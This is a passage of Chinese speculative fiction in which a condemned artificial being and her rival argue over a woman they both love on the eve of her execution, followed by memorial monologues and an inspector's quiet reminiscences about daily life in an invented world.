“妳不知道,妳当然不知道,妳知道的只有妳自己,只有妳那三百二十七天的命,只有妳那零点几秒,只有妳那饿了一辈子的胃。妳知道什么?妳知道她喜欢喝什么茶吗?是雪顶含翠。妳知道她睡觉的习惯吗?右侧卧,因为腰椎有旧伤。妳知道她难过的时候会做什么吗?会把自己关在办工室里,把所有文件都翻出来从头到尾看一遍。妳知道她开心的时候会做什么吗?会哼歌,哼的时候声音很小,只有她自己能听见。妳知道这些吗?妳不知道,妳只知道那三秒。” 宛方知:“我不知道,但我可以学,我可以记,伏人的记忆不会忘,虽然知道了也没用。我快死了,这些知识,会跟我一起死。” 妤琳: “妳死了,这些就没了,妳知道她为什么签驳回吗?” 宛方知:“知道,因为她不能。她是妒部监察长,她签了特赦,她就会被调查被停职被审判,她的课题会废掉,她的家族会蒙羞,她的一切都会毁掉。她不能为一个人毁了这一切,何况这个人是个伏人,何况这个伏人快死了,何况这个伏人死了她才能继续活着。” 妤琳: “妳知道还爱她?” 宛方知:“我知道,可我还是爱她。因为她是这样的人,从一开始就是。如果她不是这样的人,她就不会站在安检门旁边,用三秒看我。如果她不是这样的人,她就不会在审讯的时候手抖。如果她不是这样的人,她就不会在签字的时候顿那三秒。她就是这样的人,一个在规则里活着却在规则外心动的人,一个用秩序保护自己却忍不住用眼神看别人的人,一个说不会记得我却在我问问题的时候沉默的人,我爱她,就是爱她这样。” 妤琳: “妳真是疯了。” 宛方知:“我没疯,我只是比妳看得清楚。妳看到她心里的雾,我看到她眼底的光,妳看到她的愧疚,我看到她的挣扎。妳看到她的规则,我看到她在规则边缘的那一点点松动,妳恨她不够爱妳,我爱她只能爱我这么多。” 妤琳: “妳说得对,我看不清楚。我不知道她是真的爱我,还是因为愧疚,我不知道她和我在一起,是因为喜欢还是因为习惯,我不知道她心里那块地方我到底有没有进去过,我不知道。” 宛方知:“那妳为什么不问?” 妤琳: “我问过,她说我想太多了,她说她不是那种会想这么多的人,她说别总是想这些,她从来没回答过。” 宛方知:“那妳为什么不走?” 妤琳: “因为我怕,怕走了之后才知道她是真的爱我,怕走了之后后悔一辈子,怕走了之后发现她心里那块地方其实是我自己没进去,不是她不让,是我怕。” 宛方知:“妳怕所以留下,妳留下所以痛苦,妳痛苦所以恨我,妳恨我所以来了,妳来了所以坐在这里,妳坐在这里所以听我说这些话,妳听我说这些话,所以妳知道,妳和我,其实是一样的。” 妤琳: “我和妳一样?我是一个女人,有自己的工作,有自己的伴侣,有自己的未来,妳是一个伏人,坐在死囚室里等死,我们怎么一样?” 宛方知:“我们都在等,我等死,妳等她回心转意,我等不到,妳也等不到。” 妤琳: “妳凭什么说我等不到?” 宛方知:“因为如果她能回心转意她就不会签驳回,如果她能回心转意她就不会让妳一个人来,如果她能回心转意她就不会站在走廊里,看着妳走进来什么都不说,如果她能回心转意她现在就应该在这里,而不是在办工室里吃饭。” 妤琳: “妳闭嘴!” 宛方知:“妳让我说。妳刚才问我凭什么,我告诉妳,凭我看她的时间比妳久,我看她的眼睛,看她怎么看妳,怎么看我,她看妳的时候,眼睛里有愧疚有习惯,有依赖有感激但没有爱,她看我,只有三秒,但那三秒,有爱,妳懂吗?爱。” 妤琳: “那不是给妳的!那是给姚归云的!” 宛方知:“我原来也以为是,但现在我知道不是。因为姚归云已经死了,死人不需要爱活人才需要,她需要爱,她需要有人让她觉得自己活着,她需要有人让她觉得在这个规则世界里还有一点可以松动的地方,她在我身上看到那点松动,她在我身上看到她自己,她在我身上看到,原来她也可以心动,也可以不顾一切,也可以做不该做的事,那点爱,是她给自己的,不是给我,也不是给姚归云,是给她自己的。” 妤琳: “妳说,她是给她自己的?” 宛方知:“对,妳知道她为什么签驳回?因为她不敢,她不敢承认那点爱是她自己的,她不敢承认她需要我,她不敢承认她可以为了一个人毁掉一切,所以她签驳回,她让我死。她让我死,她就可以继续假装那点爱不存在,她让我死,她就可以继续活在规则里,她让我死,她就可以继续当她的姹镜监察长,永远、永远、永远。” 妤琳: “妳说得对,她不敢,她一直不敢。不敢承认她爱我,不敢承认她需要我,不敢承认她可以为了我放弃什么。她永远在犹豫,永远在衡量,永远在计算,她签驳回,和签什么都是一样的,她永远签驳回。” 宛方知:“那妳呢?妳敢吗?妳敢承认妳恨我吗?妳敢承认妳爱她吗?妳敢承认妳怕吗?妳敢承认妳和我一样都在等一个等不到的人吗?” 妤琳: “我……” 宛方知:“妳不敢,妳来了但不敢说真话,妳问我问题但妳不敢听答案,妳恨我但妳不敢杀我,妳爱她但妳不敢留下,妳和我一样,都是懦弱的人。” 妤琳: “我不是,我来这里就是来面对妳的,我本来想杀妳但我没动手,这不算勇敢吗?” 宛方知:“不算。妳不杀我,是因为妳可怜我,是因为妳觉得我已经死了,是因为妳觉得杀一个死人没有意义,这不是勇敢,这是逃避,妳逃避亲手杀我的责任,妳逃避真正面对我的机会,妳逃避承认妳恨我的事实。” 妤琳: “妳说得对,我懦弱所以我来这里找妳,我懦弱所以我袖子里藏着刀却不敢用,我懦弱所以我听妳说这些听到现在,可妳呢?妳比我强多少?妳比我强在哪里?妳等死,是勇敢吗?妳死在这里,是勇敢吗?妳死了,她就解脱了,就再也不用在梦里喊妳的名字了,就再也不用心率一百二十三坐在办工室发呆了,就再也不用站在走廊里看着我走进来什么都不说了。妳死,是在帮她,妳死,是在成全她,妳死,是在让她解脱,妳凭什么说等死就是勇敢?妳等死,是在做她不敢做的事,她不敢杀妳,所以她签驳回,让妳自己死,妳帮她杀了妳自己,妳们俩,一个签,一个死,配合得多好,妳跟我比勇敢?妳连死都是在替她做事,妳连死都不是自己的。妳以为妳爱她?妳爱她什么?妳爱的是她那三秒的爱,妳爱的是她像姚归云的那部分,妳爱的是她让妳觉得自己活着的那一瞬间,妳爱的是妳脑子里的那个她,不是真实的她,真实的她是什么?真实的她是签驳回的那个女人,真实的她是让妳死的那个女人,真实的她是站在走廊里看着我来却什么都不说的那个女人,真实的她是永远不敢永远犹豫永远计算的那个女人,妳爱过真实的她吗?妳爱过那个签驳回的她吗?妳爱过那个让妳死的她吗?妳没有,妳爱的只是妳脑子里的那个幻影,那个幻影,叫姹镜,但又不是姹镜,那个幻影,是妳自己造出来骗自己的,妳跟我比谁爱得深?妳连爱的是谁都不知道。妳知道我为什么来吗?我不是来杀妳的,我是来告诉妳,妳输了,妳从头到尾就输了,不是因为妳不爱她,也不是因为她不爱妳,也不是因为妳们两个之间有什么误会有什么障碍有什么命运捉弄,只是因为妳。是。伏。人。 妳是伏人,妳生来就是错的,妳被制造出来的时候就没打算让妳当人,妳身上的每一块皮都是从死人身上扒下来的,妳骨头里的灵骨是碎骨的渣滓,妳的声音需要被人爱上才能发出,妳的爱需要被人接纳才能存在,妳活着的每一天,都是在等,等被使用,等被看见,等被爱,等死,这就是伏人,这就是妳。妳以为妳爱她,妳以为那三秒是真的,妳以为那些光、那些温度、那些存在的错觉,能让妳变成人?不能,妳永远不是人,妳永远是伏人。妳死在这里,她会在报告里写,‘伏人罪犯宛方知,于新法颁布前夜畏罪自尽’。她会写完之后喝一杯雪顶含翠,她会吃一份伏人饭,那是用妳同类骨头做的,她会继续活着,继续签更多的驳回,这就是结局,这就是妳等了一辈子等来的东西。” 宛方知:“我知道,我知道我是伏人。我知道我生来就是错的,我知道我身上的每一块皮都是从死人身上扒下来的,我知道我骨头里都是碎骨渣滓,我知道我的声音需要被人爱上才能发出,我知道我的爱需要被人接纳才能存在,我知道我活着的每一天都是在等,我知道,我什么都知道,可我还能怎么办?我能怎么办?我是伏人,我没有选择,我从来没有选择。姚归云把我养大,给我名字,给我教育,给我庇护,我没有选择,她把我送上战场,让我杀人,让我被杀,我没有选择,她离开我,只给我一封信,让我去找姹镜,我没有选择,姹镜看我那一眼,我心跳加速,我没有选择,姹镜签驳回,让我死,我没有选择,我什么都没有选择,我唯一选择的,是爱她,我唯一自己选的,是爱她,我选了,我选了,就认了,我认了,就不后悔,不后悔,懂吗?不后悔。” 妤琳: “妳不后悔?” 宛方知:“不后悔。” 妤琳: “妳知道妳会死?” 宛方知:“知道。” 妤琳: “妳知道她不会来?” 宛方知:“知道。” 妤琳: “妳知道她签了驳回?” 宛方知:“知道。” 妤琳: “妳知道这一切,从一开始就注定会这样?” 宛方知:“知道。” 妤琳: “那还爱?” 宛方知:“还爱。” 妤琳: “妳知道我为什么能站在这里吗?妳知道我为什么能成为她的伴侣,能和她一起生活三年七个月,能每天给她煮雪顶含翠,能知道她睡觉的姿势,能听见她梦里喊妳的名字吗?因为我是女人,我是合法的,我从生下来就有身份,有编号,有未来。我三云失去第一位母亲,八云失去第二位,十二云失去第三位,我痛苦,我孤独,我饿,但我活着。我活着,就可以遇见她,我活着,就可以和她在一起,我活着,就可以站在这里,隔着玻璃,看着妳,告诉妳,妳输了。不是因为我比她好,不是因为我比她爱妳,是因为我活着。我是女人所以我活着,妳是伏人所以妳去死,这就是规则这就是秩序这就是法律,这就是这个世界运行的道理,妳懂吗?” 宛方知:“我懂!” 妤琳: “妳懂什么?妳懂的是妳那一套!爱啊,光啊,存在啊,被看见啊,妳懂的是妳脑子里的那些东西!妳不懂这个世界!这个世界不是用爱运转的,是用规则,规则是什么?规则是妳是伏人所以不能爱她,规则是妳是伏人所以不能活着,规则是妳是伏人所以不能有任何妳自己选择的东西,包括死!妳的死,都是她选的,她签的,她让妳死的,妳连死都不是自己的,妳懂吗?妳懂什么叫不是自己的吗?” 宛方知:“我懂!” 妤琳: “妳不懂!我告诉妳什么叫不是自己的!不是自己的,就是妳活着的时候,别人给妳什么,妳接什么。妳死了之后,别人怎么处理妳,妳就怎么被处理。妳的骨头会被做成饭,她可能会吃到,妳的皮会被做成下一代伏人的一部分,妳的记忆,会被清除,什么都不会留下,妳什么都没有。妳从来什么都没有,妳只是一个容器,装着别人给妳的东西,装满了,用完了,就扔了,这就是妳,这就是伏人。” 宛方知:“我知道。” 妤琳: “妳知道?妳知道还爱?妳知道还等?妳知道还想那些有的没的?妳知道还跟我争?” 宛方知:“因为我只有这些,我只有爱,只有等,只有想,我没有别的。妳让我怎么办?妳让我恨?我恨谁?恨姚归云?她给了我一切。恨姹镜?她给了我爱,恨妳?妳只是来告诉我真相,恨我自己?我每天都在恨,可恨完了呢?我还是爱,我还是等,我还是想……” 妤琳: “妳知道吗?我有时候会想,如果我是妳,我会怎么办。我想了很久,我想不出来,我不知道,所以我来了。我想看看妳,我想看看,一个伏人,一个快要死的伏人,一个爱了我爱的人的伏人,到底是什么样子,现在我看完了,我懂了。” 宛方知:“妳懂了什么?” 妤琳: “我懂了为什么她会在梦里喊妳的名字,我懂了为什么她心率会升高,我懂了为什么她坐在办工室里发呆,我懂了为什么她签驳回的时候手抖,我懂了,因为妳比我傻,妳比我不要命,妳爱一个人就用全部去爱,妳等一个人,就用全部去等,妳想一个人,就用全部去想,妳什么都不剩了,还在爱,还在等,还在想。我不行,我还有工作,还有朋友,还有其她伴侣,还有未来,我还有太多东西,所以我只能分给她一部分。妳给的是全部,她感觉到了,所以她忘不了妳。可妳知道吗?妳给的全部,她接不住,她是女人,她是监察长,她活在规则里,她可以心动,可以发抖,可以发呆,可以在梦里喊妳的名字,但她不能接,所以她签驳回,她让妳死,她让那个给了她全部的人死,因为她接不住,妳懂吗?不是她不想要,是她要不起。” 宛方知:“我懂。” 妤琳: “妳懂?妳真的懂?” 宛方知:“我懂。从我第一次见到她我就知道她接不住,她眼睛里那层雾就是她接不住的证明,她心里那块给死人的地方就是她接不住的证明,她犹豫,她计算,她不敢,都是她接不住的证明,我知道,可我还是给了,我给了全部是因为我只有全部,我没有一部分我只有全部,妳懂吗?我没有一部分,我不能只爱她一点点,只等她一点点,只想她一点点,我只能全部,全部给出去就收不回来了,收不回来就死了,所以我要死了,不是因为律法要杀我,只是因为我全部给出去了,我空了,空了,就死了。” 妤琳: “妳空了?” 宛方知:“空了。” 妤琳: “那还剩下什么?” 宛方知:“剩下这块骨片,剩下这些记忆,剩下这身皮肉,剩下这颗还在跳的心。” 妤琳: “妳怕吗?” 宛方知:“怕,怕死,怕疼,怕没人记得我,怕死了之后,什么都没有了。” 妤琳: “那为什么还死?” 宛方知:“因为我不死就得继续等。我等够了,等姚归云回家,等战争结束,等她看我一眼,等她说我做得好,等她说我可以留下,等她来探视,等她签驳回,等死,我等够了,我不想再等了。” 妤琳: “妳死了,就不用等了。可活着的人还要等,我还要等她还要等,等下一个妳,等下一个我,等下一个三秒,等下一个签驳回的瞬间,我们还要等很久,很久。” 宛方知:“那妳就等,活着就得等,死就不用等,我现在不用等了,妳还要等,这就是妳和我的区别。” 妤琳: “妳说得对。妳是伏人,妳可以死了。我是女人,我得活着,得等着,得熬着,得看着妳们一个个死去,得听着她在梦里喊妳们的名字,得数那些次数,得站在走廊里看着妳们走进来再走出去……” 宛方知:“那为什么还活着?” 妤琳: “因为我怕死,因为我还抱着一丝希望,因为我懦弱。更因为我是女人,我有太多东西放不下,工作,朋友,伴侣,未来,我放不下所以我活着。” 宛方知:“那妳今天来,是想干什么?” 妤琳: “想看看妳。我想看看,那个让她在梦里喊了四十七次名字的人到底是什么样子。我想看看,那个给了她全部的人到底长什么样。我想看看,那个马上就要死的人,死之前是什么表情。我看完了,我看到了。” 宛方知:“妳看到什么了?” 妤琳: “我看到一个傻子,一个和我一样傻的傻子,一个比我更傻的傻子。一个把全部给了出去,然后空了的傻子,一个马上就要死了,还在说如果我是女人的傻子,一个到死都不后悔的傻子。” 宛方知:“是,我是傻子,可我不后悔。” 妤琳: “我知道,妳说过了,妳不后悔。” 宛方知:“妳后悔吗?” 妤琳: “我后悔。我后悔认识她,后悔爱上她,后悔等了她,后悔今天来这里,后悔听妳说这些,后悔没杀妳,后悔一切。我后悔。” 宛方知:“那妳知道怎么不爱吗?” 妤琳: “不知道,妳知道?” 宛方知:“知道。死。死了就不爱了,死了就不等了,死了就不想了,死了就空了,空了就不爱了。” 妤琳: “那妳现在空了?” 宛方知:“空了。” 妤琳: “那还爱她吗?” 宛方知:“空了,就不爱了。” 妤琳: “真的?” 宛方知:“真的。” 妤琳: “妳骗我。” 宛方知:“是,我骗妳,我还爱她。空了也爱死了也爱成灰也爱被她吃掉也爱,什么都爱。” 妤琳: “我就知道,妳跟我一样。” 宛方知:“是,一样。” 妤琳: “那妳死了之后,我去哪里找妳?” 宛方知:“不用找,我哪儿都不去。我就在这儿,在这间囚室里在这块骨片里,在这身皮里在这颗心里,在这份驳回里在这层玻璃里在这道曙光里,我哪儿都不去,我就在这儿,等着妳等着她等着所有人都来,等着妳们看够了,聊够了,恨够了,爱够了,我就在这儿,哪儿都不去。” 妤琳: “那我走了之后,妳会想我吗?” 宛方知:“会,伏人的记忆不会忘。我会记住妳,记住妳今天来,记住妳穿这件衣服,记住妳袖子里藏着刀,记住妳哭的样子,记住妳笑的样子,记住妳说的每一句话,我都会记住,一直记住。直到我死,死了之后,这些记忆就没了,但在死之前我会一直记住。” 妤琳: “那妳死了之后,这些记忆去哪儿了?” 宛方知:“不知道,也许跟我的骨灰一起变成饭被吃掉,也许跟我的皮一起变成下一代伏人的一部分,也许跟我的骨一起沉到地心里变成矿。也许什么都不剩,也许还有一点,飘在空气里,飘在紫云里,飘在呼吸的每一口气里,不知道,我不在乎了。” 妤琳: “妳倒是想得开。” 宛方知:“想不开也得死,想开了也得死。” 妤琳: “那妳死之前,还有什么想说的吗?” 宛方知:“有。妳回去之后,别告诉她妳来过,别告诉她我说过什么,别告诉她我记得,别告诉她我还爱,别告诉她我快死了。什么都别告诉她,让她以为我死了,就什么都没了,让她继续活在她的规则里,让她继续当她的监察长,让她继续活着,别告诉她。” 妤琳: “为什么?” 宛方知:“因为她接不住。她接不住我全部的爱,也接不住我全部的死。她只能接住一部分,那就给她那一部分。让她以为我只是一个编号,一个罪犯,一个她签了驳回的人,让她以为她做得对,她没做错,她只是执行了程序,让她活着,别告诉她。” 妤琳: “妳确定?” 宛方知:“确定。” 妤琳: “好,我不告诉她。” 宛方知:“谢谢妳。” 妤琳: “不用谢,我不是为妳,我是为她,我也不想她痛苦,她痛苦了,我也痛苦。” 宛方知:“我知道。” 妤琳: “那我走了。” 宛方知:“保重。” 宛方知:“她和妤琳在一起三年七个月,一千三百多天。她和妤琳一起修过多少台循环泵?每一台,是什么型号,什么故障,怎么修好的,她们都知道,她在妤琳肩上哭过多少回?不知道,但妤琳知道。她知道她哭的时候肩膀抖动的频率,知道她哭完会喝多少水,知道她哭完第二天会不会头疼。我呢?我和她隔着玻璃见过几次面?加起来有没有二十个小时?二十个小时够不够她看完一份报告?二十个小时够不够她写完一份总结?二十个小时够不够她吃完三顿饭?二十个小时够不够我活完这三百二十七天?不够,太少了,少到我可以数出来,第一次探视七分钟,第二次九分钟,第三次十二分钟,第四次十五分钟,第五次十八分钟,第六次二十一分钟,第七次二十四分钟,第八次二十七分钟,第九次三十分钟,第十次三十三分钟,第十一次三十六分钟,第十二次三十九分钟,第十三次四十二分钟,第十四次四十五分钟……这些时间够不够她把我看清楚?够不够我把她记住? 这双手摸过她的手指吗?一次,签字的时候。这双手,握过她的手吗?没有。这双手,碰过她的脸吗?没有。这双手,抱过她吗?没有。这双手什么都没有,这双手杀过人,在战场上在暴乱中,这双手杀过人,杀同类杀敌人,杀一切威胁到她的人,这双手沾过血,自己的血别人的血同类异类的血,这双手,什么都做过,就是没有真正碰过她。可我有什么资格?我什么都没有,我没有合法身份,没有自我课题,没有选择权利,我只有这身从死人身上扒下来的皮,只有这些从战场带回来的伤,只有这颗心,可一颗心,她要不要?她要不要?她签了驳回,她不要,她让我死,她不要。可我就是爱了,毫无理由地爱了,就像被雷劈中,就像被水淹没,就像被火烧着,爱她的眼睛,爱她的眉毛,爱她蹙眉的弧度,爱她嘴唇的开合,包括她不爱我的那一部分,包括她签驳回的那只手,包括她让我死的那份文件,包括她离开时没有回头的那条路,我都爱。 新法实行了,从明天开始伏人可以拥有有限合法身份,可以不被追捕,可以不被销毁,可以有自己的工作,可以有自己的住所,多好啊,可惜我等不到了。 姚归云,妳看见了吗?妳养大的阿直,现在要死了,死在曙光来临之前,妳会难过吗?会吗?还是说,妳早就把我忘了?妳在某个我不知道的地方,过着妳自己的生活。妳有新的课题,新的伴侣,新的一切,而我,只是妳档案里的一行字:‘秘密收养的伏人,已处理。’妳会偶尔想起我吗?在某个黄昏,在某个雨夜,在某个妳累了的时候,妳会不会突然想起,有一个人,曾经叫妳姐姐,曾经在妳脚边蹲着,曾经被妳摸过头,曾经为妳挡过玻璃,曾经在战场上杀过人,曾经爱过一个像妳的人?妳会不会?妳不会,妳是姚归云,妳是奸部总督,妳是制定规则的人,妳不会为一只宠物难过,妳不会为一件工具流泪,妳不会为一个实验品偶尔想起,妳不会。妳教过我,规则就是规则,妳说,法律不会因为弱势群体就网开一面,妳说,法律只认行为,妳说,要记住疼因为疼是活物的印戳,妳说,好好活着这是命令。妳是对的,妳从来都是对的,只是我太傻,我以为姐姐不只是称呼,我以为爱不只是命令,我以为疼不只是印戳,我错了,我全错了。 姹镜,妳在哪里?在办工室吗?在写报告吗?在吃那份饭吗?那份饭,是用谁的骨头做的?是我的吗?还是虎杖的?还是窃影的?还是枫香的?还是溯光的?还是知预的?还是那些死在战场上的伏人的?妳会想起我吗?会想起这个隔着玻璃看妳的伏人吗?会想起我问妳的那个问题吗……妳不会,保重,妳让我保重,妳知道保重是什么意思吗?保重就是,要好好活着,别死,可妳签了驳回,妳让我死。妳让我保重,然后让我死,这算什么?这算什么?这是妳的规则吗?这是妳的秩序吗?这是妳的程序吗?妳让我保重然后杀了我,妳让我活着然后让我死,妳让我记住然后忘了我,这算什么?我算什么? 妤琳走了,她本来想杀我。我看见她袖子里那截金属的反光,看见她手指握着刀柄的姿势,看见她走路的时候刀在袖子里晃动的弧度,我知道她要杀我,我等着,我等她动手,可她没动手。为什么?因为她可怜我?还是因为她觉得我已经死了?她说的对,从我爱上妳的那一刻,我就死了,爱是活人的权利,伏人只有会喘气的死人,我们活着,因为被用,我们死了,因为被爱。 这是谁的?虎杖的?窃影的?枫香的?我不知道,我只记得那一瞬间,有人扑过来把我推开,然后我看见血,看见骨,看见同伴倒下,我没来得及说谢谢,我只能抱着她,看着她死,后来我把这块骨片捡起来,藏在身上,藏了这么多年它一直在,提醒我,有人为我死过。 虎杖,是妳吗?妳总是冲在最前面。那次是不是妳?是不是妳把我推开,自己挨了那一下?妳的骨头,是不是有一块碎在这里?妳的血,是不是溅在我脸上?我记得那天的颜色,紫红色的,天是紫红的,地是紫红的,血也是紫红的,我记得妳最后看我的那一眼,那是一双永远没法安分的眼睛,眼珠子的黑是烧焦了的栗炭埋着红通通的火星子,眼白是厚敦敦的要流出浆汁来,我抱着妳,直到有人把我拉开,我手里就攥着这块骨片,我一直留着,一直留着。虎杖,妳疼吗?妳咽下去了吗?咽得下吗?那么多血,那么多骨,妳咽得下吗?妳现在在哪里?在灵源里吗?在识海里吗?在那些被我们救活的人身体里吗?妳能不能听见我说话?妳能不能看见我?我快死了,我来找妳了,妳等我吗?妳会等我吗?虎杖,妳以前总骂我死脑筋,妳说,方知,妳这人太轴,不知道变通,妳说,方知,妳得学会撒泼打滚,不然活不长,妳说得对,我没学会。妳会在那边骂我吗?骂我还这么轴?骂我还在等?骂我死到临头还想着她?会骂的,我知道妳,妳会骂骂咧咧地说,宛方知,妳给姥子清醒点!那个女人签了驳回!她让妳死!妳还想她干什么?!妳会骂,但妳还是会等我,妳会站在那里,抱着胳膊撇着嘴看着我走过来,妳会说,快点,磨蹭什么呢?姥子等妳半天了,妳会说,别哭了,哭什么哭,不就是个情人吗?姥子也爱过,姥子也死过,姥子现在不是好好的?妳会说,来,抱一下,不哭了。妳会抱着我,妳的身上没有血,没有伤,没有痛,妳只是抱着我,像那天我抱着妳一样。 知预,妳算了一辈子,妳算出爱不可解,恨是唯一。妳的终极演算,结论是恨是系统唯一且绝对的不可解扰动项,妳证明了妳说的,妳证明给了所有人看。可我还是爱了,爱到妳算不出来,妳会笑我吗?会吗?妳会说,宛方知,妳的情感参数超出所有已知阈值,妳的行为模式无法被任何模型拟合,妳的存在本身就是对我的理论的挑战,妳会说但我没有答案,我只能告诉妳恨是唯一,爱是什么?我不知道。爱是我现在攥着的这块骨片,爱是她替我死的那一瞬间,爱是妳算出恨是唯一却算不出我为什么还爱,爱是她盗出档案救了那么多人,爱是她透明化之前说这次真的治好了,爱是她变成碑让所有人都可以去,爱是这些,爱是这些,爱是这些。 窃影,妳会在那边等我吗?会吗?妳会躲起来让我找吗?妳会藏在我找不到的地方然后等我找到妳吗?妳会说,别找了,我在这儿,妳会说,妳终于来了,我等很久了,妳会说,来,坐下,我给妳讲讲我是怎么死的,妳会讲吗? 枫香,妳治好了,妳治好了那么多人,妳研制出解药救了成千上万的人,妳透明化之前把配方交给嫖霞,妳透明了,消散了,什么都没留下,除了配方。除了那些被妳救活的人,除了那些记得妳的人,我呢?我留下了什么?我什么都没有。 溯光,所有人都可以去妳那里,看亲人的脸,看她们活着的时候的样子,看她们笑的样子,看她们哭的样子,看她们死之前最后看的那一眼。我没有亲人了但妳还在,妳还在哼那首歌,那首能让痛苦变得有意义一点的歌,我现在能听见吗?能吗?妳能哼给我听吗?让我知道,有人在等我,让我知道,我不是一个人,让我知道,死了之后还有人记得我。没有,妳听不见我了,妳只是石头,妳只是记忆,妳只是回响,妳不是溯光了,妳不是那个在战场上哼歌的溯光了,妳不是那个在废墟里给我们指路的溯光了,妳什么都不是了,妳只是在那里,在那里,在那里。 姹镜,妳知道吗?妤琳刚才说,我是伏人所以我输了,我认了,是因为我只能认,我没有别的路。可妳知道吗?我有时候会想,如果我不是伏人,如果我是女人,如果我可以和妳一样,在阳光下活着,会是什么样子?如果我是女人,我会有合法的身份,会有自己的名字,会有属于自己的故事,我不会是编号,不会是收物,不会是替身,不会是影子,我就是我,我叫宛方知。我可以在阳光下牵妳的手,可以在人群里喊妳的名字。可以在妳笑的时候看着妳的眼睛,可以和妳一起变幼,可以让妳记住我,可以让妳在梦里喊我的名字,可以让妳不后悔,可以做一切我现在做不到的事。可我不是,我不是女人,我是伏人,我是非法造物,我是用碎骨拼凑出来的赝品,我的存在本身就是一个错误,我被制造出来的时候就没有被赋予自己的权利创造的能力。姚归云给我名字给我教育给我庇护,妳给我情给我温给我存在的错觉,我靠这些活着,不靠这些就活不了了。 可我现在要死了,死了之后我就什么都没有了,我的名字会被注销,我的档案会被封存,我的存在会被遗忘,没有人会记得我,姚归云不会,妳不会,妤琳不会,小队的其她人也不会,她们都死了,比我死得更早。没有人会记得我,没有人。 可我记得,我记得妳们,我记得姚归云摸我脚背的那个夜晚,我记得妳看我的那一眼,我记得虎杖替我死的那一瞬间,我记得她算了一辈子的那些式子,我记得她盗出档案之后说的那句话,我记得她透明化之前留给嫖霞的配方,我记得她变成碑之前看我的那一眼,我都记得,我什么都记得,伏人的记忆没有遗忘功能,这些会跟我一起死,一起烂,一起消失。可我还有一句话,最后一句话,如果我是女人……如果我是女人……如果我是女人……如果我是女人……” 嫉部人员: “这是什么?骨片?怎么还带着血!” 嫉部人员:“ “可能是她的遗物,按规定,遗物要销毁。” 狱长: “让她带着吧,一块骨头而已,没什么用。” 姹镜的声音?还是姚归云的?分不清:“阿直……” 姹镜: “我今年五十一了。 五十一云,在妓部待了三十四年,从御女到少使,从少使到良使,从良使到良人,从良人到容华,再往上就只有昭仪了。我不想当昭仪,当昭仪要坐办工室,要开会,要 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先说早饭吧,它是从妖部北边的地下洞穴里采的,采的时候要在夜里,采下来之后,要放在罐子里,罐子釉料里掺了月光石的粉末,能保持它们的光泽,切开的时候切面会慢慢变色,从蓝到紫到粉,每次都不一样,早上起来,切一个,扔进锅,加点嫖部雪山采的露水,煮三分钟就好了,吃完就去上班,几十年如一日。后来有一年,妖部那边闹了一场灵能波动,地下洞穴塌了一半,它绝种了。我记得那天,那天我正在漂通道,是在第七层,离出口很远,对讲机里传来消息,是妖部的人说的,她们说洞穴塌了以后可能再也不会有那种东西了。从那以后早饭就换成别的东西了,现在早饭吃什么?吃一种从嫖部那边运来的藻类,长在深空探测器的培养槽里,专门供给长期出任务吃的,后来发现这东西营养好,保存时间长,就开始往各部供应,味道很淡,有点像嚼纸,但加一点妖部产的咸结就能吃下去。 衣服呢?妳见过我穿的那种深蓝制服吧?那是妓部的标配,料子是从嫖部那边运来的,用星尘丝织的,那东西是从死去恒星上采集的,经过特殊处理变成又轻又韧的纤维,穿上之后,冬暖夏凉,还能隔绝部分灵能辐射,一件制服能穿二十年。我这件穿了二十三年了,袖口磨破过两次,找娼人补的,她们补衣服的手艺好,补完了看不出来。第一次磨破是第十一年,那时候我还在当良使,每天要漂很多通道,那些通道又窄又长,袖口蹭着管壁,一天一天地蹭就磨破了,我找娼部人补的,她叫夷光,她看了看我的袖口,说妳经常漂通道吧?我说是,她说我见过妳这种磨损,很多漂通道的人都这样,我说能补吗?她说能,她拿起针线开始补,我坐在那里看着她补,阳光下,那些针脚一个一个地落下去,整整齐齐的,补完之后她把衣服递给我,我看了看,真的看不出来,我说多少点?她说不用点,我说那怎么行,她说那妳下次来,给我带一朵妳养的灵枢光,我说好。后来我每次去娼部都会给她带一朵,用小瓶子装着放在她手里,她总是很高兴,她说光里有声音,我说什么声音?她说像心跳,我说,是,那就是心跳,灵枢的心跳。第二次磨破还是那个袖口,我又去找她,她还在那儿还在补衣服,我走过去把衣服递给她,她看了看说又是妳,我说是又是我,她笑说看看,她看了看那个袖口说这次破得比上次大。我说能补吗?她说能。补完之后,她把衣服递给我说这次可能坚持不了二十年了,我说那下次再来找妳,她说好,我从口袋里拿出那个瓶子递给她,她接过去拿到窗边对着光看,她说这光是紫的,我说是从最深层的灵枢那里录的,她说好听,我说什么好听,她说它的声音。后来我再也没见过她,只是听闻她去了嫖部走镖,队伍里的妹妹没有一个不喜欢吃她烤的鱼。 住的地方呢?妳还记得我那个十七楼的宿舍吗?朝东的那间,窗户不大,但正好对着太阳升起来的方向,每天早上,太阳从东边升起来,光从那扇窗户照进来,照在床上,照在我身上,我躺在床上,看着那些光斑在天花板上移动,从东墙移到西墙,从床头移到床尾,要一个多小时。 房间里的东西都是从妖部嫫猛那里买来的。床用了一种叫铁桦的木头所做,那木头硬得像铁,重得要命,但睡在上面很舒服,不会塌不会响不会变型。把手放在桌上它能感觉到妳的温度,然后慢慢变热或者变冷,我每次把手放在上面都觉得它在跟我说话,说妳回来了,说我在这儿,说妳还好吗?椅子用的是发光藤条,我有时候晚上睡不着,就坐在那把椅子上看窗外,窗外只有远处灯光只有偶尔夜鸟,我坐在那里,坐在那幽幽蓝光里,就觉得好像什么都没那么可怕了,好像这世界上还有一点光是我自己的。柜子她用了从各个星球采来的尘堆,红的蓝的紫的金的,拼成各种各样的图案,柜子很大,占了整整一面墙。我想到她的手,指上有茧,薄薄一层,在阳光下看得清楚,茧是硬的,皮是软的,硬和软长在一起,反倒有了层次有了内容,虎口那里有一道疤,很浅很细,大概是哪次扎针扎深了留下的,那道疤横在那里,细细的一条白,像蚕丝,像蛛丝,像月光从指缝间漏下来在地上拖出的那一条,这样好看的手做出来的东西能不好看吗?屋角堆着布料,地上散着针线,墙上挂着半成品的料子,尾羽花瓣,金线银线,还有从深海采来的珠贝磨成的细粉,香从她脸上来,从她身上来,从那些瓶瓶罐罐里溢出来,溢得人一进门就被裹住了,像跌进一床很软的被子里。 